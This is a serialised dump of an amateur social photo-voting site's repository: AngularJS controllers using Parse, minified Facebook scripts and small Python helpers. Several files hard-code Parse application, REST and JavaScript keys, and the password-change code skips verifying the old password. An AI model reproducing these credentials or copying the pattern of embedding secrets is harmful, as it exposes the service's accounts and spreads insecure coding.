GetFriendsFromInterests.GetFriends()\n promise2.then(function(Data){\n // console.log(Data);\n $scope.intrestBasedFriends = Data\n },function(error){\n console.log(error);\n },function(update){\n //console.log(update);\n $scope.intrestBasedFriends = update\n })\n\n $scope.FollowUnfollowAction = function(d)\n {\n //console.log(d);\n\n var FollowType = Parse.Object.extend(\"FollowList\")\n var FollowObject = new FollowType();\n FollowObject.set(\"Follower\",Parse.User.current())\n User = new Parse.User();\n\t\tUser.id = d.objectId\n FollowObject.set(\"Following\",User)\n FollowObject.set(\"FollowingName\",d.Name)\n if(!d.isFollowing)\n {\n FollowObject.save({success : function(Object) {\n $scope.objectIdOfFollowObject = Object.id\n }})\n d.isFollowing = true\n d.symbol = \"remove\"\n }\n else {\n FollowObject = new FollowType();\n var Query = new Parse.Query(FollowType);\n Query.equalTo(\"Following\",User)\n Query.find({\n success:function(Objects) {\n for(var i=0;i<Objects.length;i++)\n {\n if(Objects[i].get(\"Follower\").id == Parse.User.current().id)\n {\n Objects[i].destroy()\n }\n }\n }\n })\n d.isFollowing = false\n d.symbol = \"add\"\n }\n\n }\n}])\n\napp.controller(\"InterestsController\",['$scope','FetchInterests',function($scope,FetchInterests) {\n var promise = FetchInterests.Fetch()\n promise.then(function(Data){\n $scope.Data = Data\n });\n $scope.change = function(d){\n var InterestProto = Parse.Object.extend(\"UserIntrest\")\n\n if(!d.has)\n {\n $scope.leverColor = \"red\"\n var InterestObject = new InterestProto();\n InterestObject.set(\"User\",Parse.User.current())\n var InterestList = Parse.Object.extend(\"Intrestlist\")\n var InterestListObject = new InterestList();\n InterestListObject.id = d.id;\n InterestObject.set(\"HisInterest\",InterestListObject);\n InterestObject.set(\"IntrestText\",d.Text)\n d.has = true\n d.leverColor = \"red\"\n InterestObject.save({\n success:function(Object){console.log(\"Added\");},\n error:function(){console.log(\"Error occured\");}\n })\n }\n else {\n d.has = false\n var Query = new Parse.Query(InterestProto)\n d.leverColor = \"\"\n Query.equalTo(\"User\",Parse.User.current())\n Query.find({\n success:function(response){\n for(var i=0;i<response.length;i++)\n {\n var SingleObject = response[i];\n if(SingleObject.get(\"IntrestText\") == d.Text)\n {\n SingleObject.destroy({\n error : function(error){console.log(error);}\n })\n break;\n }\n }\n },\n error : function(error)\n {\n console.log(error);\n }\n })\n }\n };\n }]);\n\napp.controller(\"EditProfileController\",function($scope){\n var user = Parse.User.current()\n $scope.Email = user.get(\"email\");\n $scope.Ninja_name = user.get(\"Ninja_name\");\n $scope.Name = user.get(\"Name\")\n //alert(user.get('ProfilePicture').url())\n $scope.image = user.get('ProfilePicture').url()\n $scope.update = function(){\n var fileUploadControl = document.getElementsByName('profilePic')[0];\n //console.log(fileUploadControl.files.length)\n if (fileUploadControl.files.length > 0) {\n var file = fileUploadControl.files[0];\n // alert(JSON.stringify(file))\n var name = \"profilePic.png\";\n var parseFile = new Parse.File(name, file);\n parseFile.save().then(function(){\n user.set(\"ProfilePicture\",parseFile);\n user.set(\"email\",$scope.Email)\n user.set(\"Ninja_name\",$scope.Ninja_name)\n user.set(\"Name\",$scope.Name)\n user.save({\n success: function(user){\n Materialize.toast('Your Profile was successfully updated', 3000);\n location.reload()\n },\n error : function(error){\n Materialize.toast(error, 2000);\n }\n });\n\n },function(){})\n }\n else {\n Materialize.toast('Please choose your Profile Picture', 2000);\n }\n }\n})\n\napp.controller(\"ChangePassword\",function($scope){\n $scope.update = function(){\n var user = Parse.User.current()\n if($scope.Pass_con == $scope.Pass_main)\n {\n user.set(\"password\",$scope.Pass_main)\n user.save({\n success : function(user){\n Materialize.toast('Password updated', 3000);\n }\n })\n }\n }\n})\n"},{"alpha_fraction":0.641121506690979,"alphanum_fraction":0.7028037309646606,"avg_line_length":88.33333587646484,"blob_id":"527b8428136f46856665a47213c052405f2929da","content_id":"0381f979a1c73785cf3b33e2956268ad33979af4","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"JavaScript","length_bytes":535,"license_type":"no_license","max_line_length":278,"num_lines":6,"path":"/images/logos/punchit.io_files/FkQNViGi-sj.js","repo_name":"smitthakkar96/Punchit.io_website_master","src_encoding":"UTF-8","text":"/*!CK:2686195818!*//*1441808114,*/\n\nif (self.CavalryLogger) { CavalryLogger.start_js([\"tLt9Y\"]); }\n\n__d('IntlLithuanianNumberType',['IntlVariations'],function a(b,c,d,e,f,g,h){if(c.__markCompiled)c.__markCompiled();var i={getNumberVariationType:function(j){var k=j%100,l=k%10;return l===0||k>10&&k<20?h.NUMBER_DUAL:l===1?h.NUMBER_SINGULAR:h.NUMBER_PLURAL;}};f.exports=i;},null);\n__d('legacy:pages-suggest-ui-nullable',['NullableInput'],function a(b,c,d,e){if(c.__markCompiled)c.__markCompiled();b.NullableInput=c('NullableInput');},3);"},{"alpha_fraction":0.618453860282898,"alphanum_fraction":0.7605984807014465,"avg_line_length":33.869564056396484,"blob_id":"375952e502352a00b3701552bf058a0dda0bac31","content_id":"b192365761eb3c0ac972cbb4bd4b2c288cb39484","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":802,"license_type":"no_license","max_line_length":121,"num_lines":23,"path":"/Process.py","repo_name":"smitthakkar96/Punchit.io_website_master","src_encoding":"UTF-8","text":"import requests\nimport sys\nfrom PIL import Image\n\nf = open('Image1.jpg', 'wb')\nurl1 = \"http://files.parsetfss.com/b7dd35dc-b01c-4492-b846-ef2a47bafc6b/tfss-0b3759e3-2265-430a-b033-f8f4421cdaab-Image1\"\nf.write(requests.get(url1).content)\nf.close()\nf1 = open('Image2.jpg', 'wb')\nurl2 = \"http://files.parsetfss.com/b7dd35dc-b01c-4492-b846-ef2a47bafc6b/tfss-0b3759e3-2265-430a-b033-f8f4421cdaab-Image1\"\nf1.write(requests.get(url2).content)\nf1.close()\nbackground = Image.open('images/Share_Pattern.jpg')\nbackground.thumbnail((300,300),Image.ANTIALIAS)\n# background.show()\nimage1 = Image.open('Image1.jpg')\nimage1.thumbnail((75,100),Image.ANTIALIAS)\n# image1.show()\nimage2 = Image.open('Image2.jpg')\nimage2.thumbnail((75,100),Image.ANTIALIAS)\nimage2.show()\nbackground.paste(image1,(40,10))\nbackground.show()\n"},{"alpha_fraction":0.7219731211662292,"alphanum_fraction":0.7219731211662292,"avg_line_length":30.85714340209961,"blob_id":"9b1e6d55b7141d3e9fff3c2996bb72b5734e33b6","content_id":"0447e1b307e96b56b82935f03d688a58f1ffc6c1","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":223,"license_type":"no_license","max_line_length":54,"num_lines":7,"path":"/settings_local.py","repo_name":"smitthakkar96/Punchit.io_website_master","src_encoding":"UTF-8","text":"from parse_rest.connection import register\ndef initParse(sessionToken=None):\n\tprint \"init\"\n\tif sessionToken == None:\n\t\tregister('Y4Txek5e5lKnGzkArbcNMVKqMHyaTk3XR6COOpg4','nJOJNtVr1EvNiyjo6F6M8zfiUdzv8lPx31FBHiwO',master_key=None)\n\telse:\n\t\tregister('Y4Txek5e5lKnGzkArbcNMVKqMHyaTk3XR6COOpg4','nJOJNtVr1EvNiyjo6F6M8zfiUdzv8lPx31FBHiwO',session_token=sessionToken)\n"}],"string":"[\n {\n \"alpha_fraction\": 0.642259418964386,\n \"alphanum_fraction\": 0.6861924529075623,\n \"avg_line_length\": 94.80000305175781,\n \"blob_id\": \"459f25a606d0475450b932ac225ab8020b90df56\",\n \"content_id\": \"e061ccb507e037405840d580e127ab29a9c6d9ac\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"JavaScript\",\n \"length_bytes\": 478,\n \"license_type\": \"no_license\",\n \"max_line_length\": 380,\n \"num_lines\": 5,\n \"path\": \"/images/logos/punchit.io_files/DdQOHnWx7V2.js\",\n \"repo_name\": \"smitthakkar96/Punchit.io_website_master\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*!CK:97048086!*//*1441684666,*/\\n\\nif (self.CavalryLogger) { CavalryLogger.start_js([\\\"TVKMf\\\"]); }\\n\\n__d('PaymentTokenProxyUtils',['URI'],function a(b,c,d,e,f,g,h){if(c.__markCompiled)c.__markCompiled();var i={getURI:function(j){var k=new h('/ajax/payment/token_proxy.php').setDomain(window.location.hostname).setProtocol('https').addQueryData(j),l=k.getDomain().split('.');if(l.indexOf('secure')<0){l.splice(1,0,'secure');k.setDomain(l.join('.'));}return k;}};f.exports=i;},null);\"\n },\n {\n \"alpha_fraction\": 0.5920848250389099,\n \"alphanum_fraction\": 0.6048547625541687,\n \"avg_line_length\": 26.922222137451172,\n \"blob_id\": \"7b89cc119595c869b8d3d935d866cf4801dae8b8\",\n \"content_id\": \"3a10b86cb962cf4308c5a09caef0200b16692f38\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"JavaScript\",\n \"length_bytes\": 27643,\n \"license_type\": \"no_license\",\n \"max_line_length\": 168,\n \"num_lines\": 990,\n \"path\": \"/js/controllers.js\",\n \"repo_name\": \"smitthakkar96/Punchit.io_website_master\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"var app = angular.module('app.controllers',[]);\\n\\napp.filter('unique', function() {\\n return function(collection, keyname) {\\n var output = [],\\n keys = [];\\n\\n angular.forEach(collection, function(item) {\\n var key = item[keyname];\\n if(keys.indexOf(key) === -1) {\\n keys.push(key);\\n output.push(item);\\n }\\n });\\n\\n return output;\\n };\\n});\\n\\napp.controller('myCtrl',['$scope','$http','Model',function($scope,$http,Model) {\\n\\t$scope.text = \\\"ddd\\\";\\n\\t// $scope.Data = Data\\n\\tParse.initialize(\\\"Y4Txek5e5lKnGzkArbcNMVKqMHyaTk3XR6COOpg4\\\", \\\"fR1P17QhE9b7PKOa1wXozi0yo8IAlYLSIzqYh4EU\\\");\\n\\t$http.get('/GetSessionToken')\\n\\t.then(function(response) {\\n\\t\\t// console.log(response.data);\\n\\tParse.User.become(response.data)\\n\\t})\\n\\tvar current_user = Parse.User.current()\\n\\t$scope.Name = current_user.get(\\\"Ninja_name\\\")\\n\\t$scope.ProfilePicture_url = current_user.get(\\\"ProfilePicture\\\").url();\\n\\t\\t$scope.logout = function() {\\n\\t\\t\\t// console.log(\\\"clicked\\\")\\n\\t\\t\\t\\t$http({\\n\\t\\t\\t\\t\\tmethod: 'GET',\\n\\t\\t\\t\\t\\t\\turl: '/logout'\\n\\t\\t\\t\\t\\t\\t}).then(function successCallback(response) {\\n\\t\\t\\t\\t\\t\\t}, function errorCallback(response) {\\n\\t\\t\\t\\t\\t\\t// called asynchronously if an error occurs\\n\\t\\t\\t\\t\\t\\t// or server returns response with an error status.\\n\\t\\t\\t\\t\\t});\\n\\t};\\n\\t$scope.$watch('Value',function(){\\n\\t\\t\\tModel.Value = $scope.Value\\n\\t},true)\\n\\t}])\\n\\napp.controller('bodyCtrl',function($scope,$http,PostService,Model,Search) {\\n\\tPusher.log = function(message) {\\n\\t\\tif (window.console && window.console.log) {\\n\\t\\t\\twindow.console.log(message);\\n\\t\\t}\\n\\t};\\n try{\\n\\t var newPunches = document.getElementById('newPunches')\\n\\tnewPunches.style.display = 'none'\\n}\\ncatch(e)\\n{\\n\\n}\\n\\tvar pusher = new Pusher('2f8f1cab459e648a27fd', {\\n\\t\\tencrypted: true\\n\\t});\\n\\tvar channel = pusher.subscribe('PostChannel');\\n\\tchannel.bind('NewUpdate', function(data) {\\n\\tvar prom = PostService.GetSinglePost(data.message)\\n\\tprom.then(function(newPost){\\n\\t\\t// console.log(JSON.stringify(newPost));\\n\\t\\tArray.prototype.insert = function (index, item) {\\n\\t\\t this.splice(index, 0, item);\\n\\t\\t};\\n\\t\\tvar newPunches = document.getElementById('newPunches')\\n\\t\\tnewPunches.style.display = 'block'\\n // unshift(Data[0])\\n // ($scope.$$phase || $scope.$root.$$phase) ? unshift() : $scope.$apply(unshift);\\n $scope.posts.unshift(newPost)\\n //console.log($scope.posts);\\n })\\n\\t})\\n if(location.href.split('/').indexOf(\\\"share\\\") != -1)\\n {\\n var objectId = location.href.split('/')[location.href.split('/').indexOf(\\\"share\\\") + 1]\\n //console.log(objectId);\\n var myprom = PostService.GetSinglePost(objectId)\\n myprom.then(function(Data){\\n // console.log(JSON.stringify(Data));\\n // unshift(Data[0])\\n $scope.SinglePost = Data[0]\\n //console.log($scope.posts);\\n })\\n }\\n\\n\\tfunction detectmob() {\\n\\t if( navigator.userAgent.match(/Android/i)\\n\\t || navigator.userAgent.match(/webOS/i)\\n\\t || navigator.userAgent.match(/iPhone/i)\\n\\t || navigator.userAgent.match(/iPad/i)\\n\\t || navigator.userAgent.match(/iPod/i)\\n\\t || navigator.userAgent.match(/BlackBerry/i)\\n\\t || navigator.userAgent.match(/Windows Phone/i)\\n\\t ){\\n\\t return true;\\n\\t }\\n\\t else {\\n\\t return false;\\n\\t }\\n\\t}\\n\\tvar url = document.URL\\n\\tif(url.indexOf(\\\"Posts\\\")!=-1)\\n\\t{\\n\\t\\tvar objectId = url.split('/')[2];\\n\\t\\tvar SinglePostPromise = PostService.GetSinglePost(\\\"8pzy70zCXr\\\")\\n\\t\\tSinglePostPromise.then(function(Data){\\n\\t\\t\\t$scope.SinglePost = Data[0]\\n\\t\\t})\\n\\t}\\n\\t$scope.Enter = function(isChecked){\\n\\t\\tif(isChecked)\\n\\t\\t{\\n\\t\\t\\t$scope.PostComment();\\n\\t\\t}\\n\\t}\\n\\tif(detectmob())\\n\\t{\\n\\t\\t$scope.width = \\\"100%\\\";\\n\\t}\\n\\telse {\\n\\t\\t$scope.width=\\\"70%\\\"\\n\\t}\\n\\n\\t$scope.posts = new Array()\\n\\t$scope.PostsVisibility = true\\n\\t$scope.$watch(function(){return Model.Value},function(){\\n\\t\\tif(Model.Value != null && Model.Value!='undefined'){\\n\\t\\tvar SearchPromise = Search.SearchAccordingToKeyWord(Model.Value)\\n\\t\\tSearchPromise.then(function(SearchResults){\\n\\t\\t\\t$scope.posts = SearchResults\\n\\t\\t})\\n\\t}\\n\\telse {\\n\\t\\t$scope.Posts = $scope.backup\\n\\t}\\n\\t},true)\\n\\ttry {\\n\\t\\tvar spinner = document.getElementById('spinner')\\n\\t\\tspinner.style.display = 'block'\\n\\t\\tvar LoadMore = document.getElementById('LoadMore')\\n\\t\\tLoadMore.style.display = 'none'\\n\\n\\t} catch (e) {\\n\\n\\t} finally {\\n\\n\\t}\\nvar promise = PostService.GetPosts([])\\npromise.then(\\nfunction(Data){\\n\\t$scope.posts = Data\\n\\t$scope.backup = $scope.posts\\n\\t$scope.PostsVisibility = false;\\n\\t\\t\\ttry {\\n\\t\\t\\t\\tvar spinner = document.getElementById('spinner')\\n\\t\\t\\t\\tspinner.style.display = 'none'\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t // LoadMore\\n\\t\\t\\t\\tvar LoadMore = document.getElementById('LoadMore')\\n\\t\\t\\t\\tLoadMore.style.display = 'block'\\n\\t\\t\\t} catch (e) {\\n\\t\\t\\t\\t// console.log(e);\\n\\t\\t\\t} finally {\\n\\n\\t\\t\\t}\\t\\t\\t //spinner\\n},function(reason){\\n //console.log(reason);\\n},function (update) {\\n //console.log(\\\"Update\\\");\\n $scope.posts = update\\n});\\n\\n\\t$scope.openComment = function(index) {\\n\\t\\t// console.log(\\\"df\\\");\\n\\t\\t$('#modal1').openModal();\\n\\t\\tGetComments($scope.posts[index].id)\\n\\n\\t}\\n\\t$scope.LoadMore = function () {\\n\\t\\t// console.log(\\\"clicked\\\");\\n\\t\\t//spinner\\n\\t\\tvar spinner = document.getElementById('spinner')\\n\\t\\tspinner.style.display = 'block'\\n\\t\\t// LoadMore\\n\\t\\tvar LoadMore = document.getElementById('LoadMore')\\n\\t\\tLoadMore.style.display = 'none'\\n\\t\\tvar promise = PostService.GetPosts($scope.posts)\\n\\t\\tpromise.then(function(Data){\\n\\t\\t\\t// console.log(Data)\\n\\t\\t LoadMore = document.getElementById('LoadMore')\\n\\t\\t\\tLoadMore.style.display = 'block'\\n\\t\\t\\tspinner.style.display = \\\"none\\\"\\n\\t\\t})\\n\\t}\\n\\t$scope.Punch = function(index,which){\\n\\t\\t\\tvar current_user = Parse.User.current()\\n\\t\\t\\tvar objectId = $scope.posts[index].id;\\n\\n\\t\\t\\t\\t\\tParse.Cloud.run(\\\"TapTap\\\", {which:which,userObjID:current_user.id,objectId:objectId},{\\n\\t\\t\\t\\t\\t\\tsuccess:function(response) {\\n\\t\\t\\t\\t\\t\\t\\t// console.log(JSON.stringify(response));\\n if(which==1)\\n {\\n response.set('isVoted1',\\\"block\\\")\\n response.set(\\\"isVoted2\\\",\\\"none\\\")\\n }else {\\n response.set('isVoted2',\\\"block\\\")\\n response.set(\\\"isVoted1\\\",\\\"none\\\")\\n }\\n\\n\\t\\t\\t\\t\\t\\t\\t$scope.posts[index] = response\\n\\t\\t\\t\\t\\t\\t\\t$scope.$apply()\\n\\t\\t\\t\\t\\t\\t},\\n\\t\\t\\t\\t\\t\\terror : function(error) {\\n\\t\\t\\t\\t\\t\\t\\t// console.log(error);\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t})\\n\\t\\t}\\n\\n$scope.PostComment=function(){\\n\\tvar objectId = $scope.objectId\\n\\tvar CommentObj = Parse.Object.extend(\\\"Comment\\\")\\n\\tvar Comment = new CommentObj();\\n\\tvar Post = {\\n\\t__type: 'Pointer',\\n\\tclassName: 'Posts',\\n\\tobjectId: objectId\\n\\t}\\n\\tComment.set(\\\"User\\\",Parse.User.current())\\n\\tComment.set(\\\"Post\\\",Post)\\n\\tComment.set(\\\"comment\\\",$scope.cc)\\n\\tif($scope.cc != null && $scope.cc !=\\\"undefined\\\")\\n\\t{\\n\\tComment.save()\\n\\t$scope.comments.push(Comment)\\n\\t$scope.cc = null\\n\\t// $scope.$apply();\\n\\tMaterialize.toast('Comment Added successfully', 4000)\\n\\t}\\n\\telse {\\n\\t\\tMaterialize.toast('Comment cannot be null', 4000)\\n\\t}\\n}\\n\\nfunction GetComments(objectId)\\n{\\n\\t\\t\\t$scope.objectId = objectId\\n\\t\\t\\tvar Comment = Parse.Object.extend(\\\"Comment\\\")\\n\\t\\t\\tvar CommentQuery = new Parse.Query(Comment);\\n\\t\\t\\tvar Post = {\\n\\t\\t\\t__type: 'Pointer',\\n\\t\\t\\tclassName: 'Posts',\\n\\t\\t\\tobjectId: objectId\\n\\t\\t\\t}\\n\\t\\t\\tCommentQuery.equalTo(\\\"Post\\\",Post)\\n\\t\\t\\tCommentQuery.find({\\n\\t\\t\\t\\tsuccess : function (Comments) {\\n\\t\\t\\t\\t\\t\\tfor(var i=0;i<Comments.length;i++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tvar User = Comments[i].get(\\\"User\\\",Parse.User.current())\\n\\t\\t\\t\\t\\t\\t\\tUser.fetch()\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\tif(Comments.length == 0)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t$scope.youFirst = true\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t$scope.youFirst = false\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t$scope.comments = Comments\\n\\t\\t\\t\\t\\t\\t$scope.$apply()\\n\\t\\t\\t\\t},\\n\\t\\t\\t\\terror : function (error) {\\n\\t\\t\\t\\t\\t// console.log(error);\\n\\t\\t\\t\\t}\\n\\t\\t\\t})\\n}\\n\\nfunction detectmob() {\\n if( navigator.userAgent.match(/Android/i)\\n || navigator.userAgent.match(/webOS/i)\\n || navigator.userAgent.match(/iPhone/i)\\n || navigator.userAgent.match(/iPad/i)\\n || navigator.userAgent.match(/iPod/i)\\n || navigator.userAgent.match(/BlackBerry/i)\\n || navigator.userAgent.match(/Windows Phone/i)\\n ){\\n return true;\\n }\\n else {\\n return false;\\n }\\n}\\n\\n\\n})\\n\\n\\napp.controller(\\\"CreatePunch\\\",function($scope,$filter){\\n $scope.validLength = 50;\\n $scope.validTitleLength = 20;\\n var intrestQuery = new Parse.Query('Intrestlist')\\n intrestQuery.find({\\n success:function(Interests){\\n //console.log(Interests);\\n var list = [];\\n for(var i=0;i<Interests.length;i++)\\n {\\n list.push(Interests[i].get('IntrestText'))\\n }\\n $scope.Interests = list;\\n }\\n })\\n\\t$scope.punchit = function(){\\n\\t\\t\\t\\tvar wait = document.getElementById(\\\"wait\\\")\\n\\t\\t\\t\\tvar PunchModel = document.getElementById(\\\"PunchModel\\\")\\n\\n var InterestsArray = []\\n var cboxes = $('.Interests');\\n var len = cboxes.length;\\n //console.log(cboxes);\\n var InterestsArray = [];\\n $.each($(\\\"input[class='Interests']:checked\\\"), function(){\\n InterestsArray.push($(this).val());\\n });\\n\\n\\n\\t\\t\\t\\tvar Title = $scope.Title;\\n\\t\\t\\t\\tvar Image1 = $('#Image1')[0]; //File1\\n\\t\\t\\t\\tvar Image2 = $('#Image2')[0]; //File2\\n\\t\\t\\t\\tvar Image1Title = $scope.Image1Title;\\n\\t\\t\\t\\tvar Image2Title = $scope.Image2Title;\\n\\t\\t\\t\\tParse.initialize(\\\"Y4Txek5e5lKnGzkArbcNMVKqMHyaTk3XR6COOpg4\\\", \\\"fR1P17QhE9b7PKOa1wXozi0yo8IAlYLSIzqYh4EU\\\");\\n\\t\\t\\t\\tvar current_user = Parse.User.current()\\n\\t\\t\\t\\tvar Image1File,Image2File;\\n\\t\\t\\t\\tvar PostObject = Parse.Object.extend('Posts')\\n\\t\\t\\t\\tvar Post = new PostObject();\\n\\t\\t\\t\\tvar Communites = $scope.Communites\\n // console.log(InterestsArray);\\n // alert(Image1.files[0].size / 1000000)\\n\\tif(Image1.files[0].size / 1000000 > 5 || Image2.files[0] / 1000000 > 5)\\n {\\n var $toastContent = $('<span>File size cannot be larger than 3 mbs</span>');\\n\\t\\t\\t\\t\\tMaterialize.toast($toastContent, 5000);\\n }\\n else if(Image1.files.length > 0 && Image2.files.length > 0 && Image1Title != null && Image2Title != null && InterestsArray.length > 0 && Title != null)\\n\\t\\t\\t\\t{\\n wait.style.display = \\\"block\\\"\\n\\t Image1File = new Parse.File(\\\"Image1.png\\\",Image1.files[0])\\n\\t Image2File = new Parse.File(\\\"Image2.png\\\",Image2.files[0])\\n var quality = 20\\n // output file format (jpg || png)\\n output_format = 'jpg'\\n //This function returns an Image Object\\n //console.log(Image1.files[0]);\\n // console.log($('#Preview1').attr('src'));\\n var image = new Image();\\n image.src = $('#Preview1').attr('src');\\n\\n var image1 = new Image();\\n image1.src = $('#Preview2').attr('src');\\n\\n var target_img = jic.compress(image,quality,output_format).src;\\n var target_img1 = jic.compress(image1,quality,output_format).src;\\n console.log(target_img1);\\n Image1File = new Parse.File(\\\"Image1\\\",{base64:target_img})\\n Image2File = new Parse.File(\\\"Image2\\\",{base64:target_img1})\\n // console.log({base64:target_img});\\n\\t\\t\\t\\t\\t\\tPost.set(\\\"Title\\\",Title);\\n\\t\\t\\t\\t\\t\\tPost.set(\\\"Image1\\\",Image1File);\\n\\t\\t\\t\\t\\t\\tPost.set(\\\"Image2\\\",Image2File);\\n\\t\\t\\t\\t\\t\\tPost.set(\\\"By\\\",current_user);\\n\\t\\t\\t\\t\\t\\tPost.set(\\\"Image1Title\\\",Image1Title);\\n\\t\\t\\t\\t\\t\\tPost.set(\\\"Image2Title\\\",Image2Title);\\n\\t\\t\\t\\t\\t\\tPost.set(\\\"Punchers1\\\",new Array())\\n\\t\\t\\t\\t\\t\\tPost.set(\\\"Punchers2\\\",new Array())\\n\\t\\t\\t\\t\\t\\t// var InterestsArray = Communites.split(\\\",\\\");\\n\\t\\t\\t\\t\\t\\tPost.set(\\\"TargetIntrests\\\",InterestsArray);\\n\\t\\t\\t\\t\\t\\tPost.save(null,{\\n\\t\\t\\t\\t\\t\\t\\tsuccess : function (Post) {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t$('#PunchModel').closeModal();\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tvar $toastContent = $('<span> Posted successfully</span>');\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tMaterialize.toast($toastContent, 5000);\\n $('#CreatePunch').load(document.URL + ' #CreatePunch');\\n location.reload();\\n\\t\\t\\t\\t\\t\\t\\t},\\n\\t\\t\\t\\t\\t\\t\\terror: function (error) {\\n\\t\\t\\t\\t\\t\\t\\t\\tvar $toastContent = $('<span>'+String(error)+'</span>');\\n\\t\\t\\t\\t\\t\\t\\t\\tMaterialize.toast($toastContent, 5000);\\n wait.style.display = \\\"none\\\"\\n location.reload();\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t});\\n }\\n\\t\\t\\t\\telse\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tvar $toastContent = $('<span>Please check and fill all the fields</span>');\\n\\t\\t\\t\\t\\tMaterialize.toast($toastContent, 5000);\\n\\t\\t\\t\\t}\\n }\\n\\t\\t\\t// }\\n});\\n\\nfunction uniq(a) {\\n return a.sort().filter(function(item, pos, ary) {\\n return !pos || item != ary[pos - 1];\\n })\\n}\\n\\n\\napp.controller('DetailsController',function($scope,$http,Data) {\\n\\n\\n\\nfunction detectmob() {\\n\\t if( navigator.userAgent.match(/Android/i)\\n\\t || navigator.userAgent.match(/webOS/i)\\n\\t || navigator.userAgent.match(/iPhone/i)\\n\\t || navigator.userAgent.match(/iPad/i)\\n\\t || navigator.userAgent.match(/iPod/i)\\n\\t || navigator.userAgent.match(/BlackBerry/i)\\n\\t || navigator.userAgent.match(/Windows Phone/i)\\n ){\\n\\t\\t\\treturn true;\\n\\t\\t}\\n\\t else {\\n\\t\\t\\treturn false;\\n\\t\\t}\\n\\t}\\n\\n\\tif(!detectmob())\\n\\t{\\n\\t\\t$scope.width = \\\"100%\\\";\\n\\t\\t$scope.blur_img = \\\"width:90%;margin-left:6%;margin-top:-10px; height:480px\\\";\\n\\t\\t$scope.dp = \\\"width:15%\\\";\\n\\t\\t$scope.follow_div = \\\"right:170px;height:30px; width:100px;margin-top:-110px;float:right\\\";\\n\\t\\t$scope.color = \\\"red\\\"\\n\\t\\t$scope.ffp_full = \\\"width:90%;margin-left:6%;margin-top:2%;\\\";\\n\\t\\t$scope.follower = \\\"width:50px; height:10px; padding-top:2px\\\";\\n\\t\\t$scope.divider1 = \\\"width:2px;margin-top:10px; height:70px\\\";\\n\\t\\t$scope.following = \\\"null\\\";\\n\\t\\t$scope.divider2 = \\\"width:2px;margin-top:10px; height:70px\\\";\\n\\t}\\n\\telse {\\n\\t\\t$scope.width=\\\"70%\\\"\\n\\t\\t$scope.blur_img = \\\"width:100%;margin-left:6%;margin-top:-10px; height:480px\\\";\\n\\t\\t$scope.dp = \\\"width:20%\\\";\\n\\t\\t$scope.follow_div = \\\"margin-left:35%;height:30px;float:left;\\\";\\n\\t\\t$scope.color = \\\"red\\\"\\n\\t\\t$scope.ffp_full = \\\"width:100%;margin-left:5%;\\\";\\n\\t\\t$scope.follower = \\\"\\\";\\n\\t\\t$scope.divider1 = \\\"width:2px;margin-top:10px; height:70px;\\\";\\n\\t\\t$scope.following = \\\"\\\";\\n\\t\\t$scope.divider2 = \\\"width:2px;margin-top:10px; height:70px;\\\";\\n\\t}\\n\\n\\n\\tvar params = {};\\n\\tvar User = null;\\n\\tif (location.search) {\\n\\t\\t\\tvar parts = location.search.substring(1).split('&');\\n\\n\\t\\t\\tfor (var i = 0; i < parts.length; i++) {\\n\\t\\t\\t\\t\\tvar nv = parts[i].split('=');\\n\\t\\t\\t\\t\\tif (!nv[0]) continue;\\n\\t\\t\\t\\t\\tparams[nv[0]] = nv[1] || true;\\n\\t\\t\\t}\\n\\t}\\n\\tvar objectId = params.id\\n\\tif(objectId == Parse.User.current().id || objectId == null)\\n\\t{\\n\\tUser = Parse.User.current()\\n\\t$scope.Name = Parse.User.current().get(\\\"Name\\\")\\n\\t$scope.Ninja_name = Parse.User.current().get(\\\"Ninja_name\\\")\\n\\t$scope.ProfilePicture = Parse.User.current().get(\\\"ProfilePicture\\\").url()\\n\\tvar Follow = document.getElementById('Follow')\\n\\t$scope.display = 'none'\\n\\t}\\n\\telse {\\n\\t\\tUser = new Parse.User();\\n\\t\\tUser.id = objectId\\n\\t\\tUser.fetch({\\n\\t\\t\\tsuccess : function (usr) {\\n\\t\\t\\t\\t// console.log(\\\"----Name ==\\\" + usr.get(\\\"Name\\\"))\\n\\t\\t\\t\\t$scope.Name = User.get(\\\"Name\\\")\\n\\t\\t\\t\\t$scope.Ninja_name = User.get(\\\"Ninja_name\\\")\\n\\t\\t\\t\\t$scope.ProfilePicture = User.get(\\\"ProfilePicture\\\").url()\\n\\t\\t\\t}\\n\\t\\t})\\n\\t\\tCheckIfIamFollowing()\\n\\t\\t$scope.display = 'block'\\n\\t}\\n\\n\\t// $(\\\"#ProfilePicture\\\").load(function() {\\n\\t// \\tvar img = document.getElementById('ProfilePicture')\\n\\t// \\txi=new XMLHttpRequest();\\n\\t// \\txi.open(\\\"GET\\\",img.src,true);\\n\\t// \\txi.send();\\n\\t//\\n\\t// xi.onreadystatechange=function() {\\n\\t// if(xi.readyState==4 && xi.status==200) {\\n\\t// img=new Image;\\n\\t// img.onload=function(){\\n\\t//\\n\\t// }\\n\\t// img.src=xi.responseText;\\n\\t// }\\n\\t// }\\n\\t// })\\n\\n\\n\\t$scope.isFollowing = \\\"Please wait ..\\\"\\n\\tGetFollowers()\\n\\tGetFollowing()\\n\\t$scope.Data = Data\\n\\tfunction GetFollowers()\\n\\t{\\n\\t$scope.Posts = 